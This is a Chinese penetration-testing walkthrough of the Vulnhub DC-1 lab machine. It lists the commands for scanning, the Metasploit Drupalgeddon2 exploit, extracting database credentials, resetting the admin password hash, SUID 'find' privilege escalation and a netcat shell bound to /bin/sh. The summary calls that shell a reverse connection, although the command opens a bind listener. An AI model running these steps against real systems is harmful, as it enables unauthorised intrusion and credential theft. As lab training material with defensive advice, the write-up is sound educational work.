Vulnhub靶机DC系列-DC1
字数 973 2025-08-15 21:33:16

DC-1 靶机渗透测试教学文档

靶机概述

DC-1 是一个专门构建的漏洞实验室,旨在为渗透测试初学者提供实战经验。该靶机包含5个flag,最终目标是获取root权限并读取root家目录中的flag。

环境准备

  1. 靶机下载DC-1下载地址
  2. 虚拟化平台:VirtualBox或VMware
  3. 攻击机:Kali Linux或其他渗透测试发行版
  4. 网络配置:将靶机和攻击机置于同一NAT网络

渗透测试流程

1. 信息收集

步骤1:发现靶机IP

nmap -sn 192.168.37.0/24

步骤2:扫描开放端口和服务

nmap -sV -p- 192.168.37.187

步骤3:识别Web应用

访问 http://192.168.37.187/robots.txt 发现是Drupal CMS

2. 漏洞利用

步骤1:使用Metasploit利用Drupal漏洞

msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.37.187
exploit

成功获取www-data权限的shell

步骤2:升级交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

3. 获取Flag

Flag1

位于当前目录,提示查看配置文件

Flag2

位于Drupal配置文件中:

cat /var/www/sites/default/settings.php

包含数据库凭据:

  • 用户名:dbuser
  • 密码:R0ck3t

步骤3:数据库交互

mysql -u dbuser -pR0ck3t -D drupaldb

查询用户凭据:

SELECT name,pass FROM users;

步骤4:重置管理员密码

php scripts/password-hash.sh admin

使用生成的hash更新数据库:

UPDATE users SET pass='$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR' WHERE name='admin';

Flag3

提示使用具有root权限的命令进行提权

查找SUID文件:

find / -user root -perm -4000 -print 2>/dev/null

发现find命令具有SUID权限

Flag4

位于/home目录:

cat /home/flag4/flag4.txt

Flag5(最终flag)

利用find进行提权查看:

touch pentestlab
find pentestlab -exec cat /root/thefinalflag.txt \;

4. 权限提升

方法1:利用find获取root shell

靶机执行:

find pentestlab -exec nc -lvp 5551 -e /bin/sh \;

攻击机连接:

nc 192.168.37.187 5551

方法2:暴力破解(备选)

使用工具如Hydra尝试破解SSH或其他服务密码

关键知识点总结

  1. Drupal漏洞利用:了解Drupalgeddon2漏洞(CVE-2018-7600)的利用方式
  2. 数据库凭证提取:从配置文件中提取敏感信息
  3. 密码重置技术:通过修改数据库hash重置管理员密码
  4. SUID提权:利用具有SUID权限的find命令进行权限提升
  5. 网络反向shell:使用netcat建立反向连接获取root权限

防御建议

  1. 及时更新CMS系统补丁
  2. 配置文件不应包含敏感信息或应设置适当权限
  3. 限制SUID权限的二进制文件
  4. 使用强密码并定期更换
  5. 实施最小权限原则

通过这个靶机练习,可以掌握从信息收集到权限提升的完整渗透测试流程,特别适合初学者建立实战基础。

DC-1 靶机渗透测试教学文档 靶机概述 DC-1 是一个专门构建的漏洞实验室,旨在为渗透测试初学者提供实战经验。该靶机包含5个flag,最终目标是获取root权限并读取root家目录中的flag。 环境准备 靶机下载 : DC-1下载地址 虚拟化平台 :VirtualBox或VMware 攻击机 :Kali Linux或其他渗透测试发行版 网络配置 :将靶机和攻击机置于同一NAT网络 渗透测试流程 1. 信息收集 步骤1:发现靶机IP 步骤2:扫描开放端口和服务 步骤3:识别Web应用 访问 http://192.168.37.187/robots.txt 发现是Drupal CMS 2. 漏洞利用 步骤1:使用Metasploit利用Drupal漏洞 成功获取www-data权限的shell 步骤2:升级交互式shell 3. 获取Flag Flag1 位于当前目录,提示查看配置文件 Flag2 位于Drupal配置文件中: 包含数据库凭据: 用户名:dbuser 密码:R0ck3t 步骤3:数据库交互 查询用户凭据: 步骤4:重置管理员密码 使用生成的hash更新数据库: Flag3 提示使用具有root权限的命令进行提权 查找SUID文件: 发现find命令具有SUID权限 Flag4 位于/home目录: Flag5(最终flag) 利用find进行提权查看: 4. 权限提升 方法1:利用find获取root shell 靶机执行: 攻击机连接: 方法2:暴力破解(备选) 使用工具如Hydra尝试破解SSH或其他服务密码 关键知识点总结 Drupal漏洞利用 :了解Drupalgeddon2漏洞(CVE-2018-7600)的利用方式 数据库凭证提取 :从配置文件中提取敏感信息 密码重置技术 :通过修改数据库hash重置管理员密码 SUID提权 :利用具有SUID权限的find命令进行权限提升 网络反向shell :使用netcat建立反向连接获取root权限 防御建议 及时更新CMS系统补丁 配置文件不应包含敏感信息或应设置适当权限 限制SUID权限的二进制文件 使用强密码并定期更换 实施最小权限原则 通过这个靶机练习,可以掌握从信息收集到权限提升的完整渗透测试流程,特别适合初学者建立实战基础。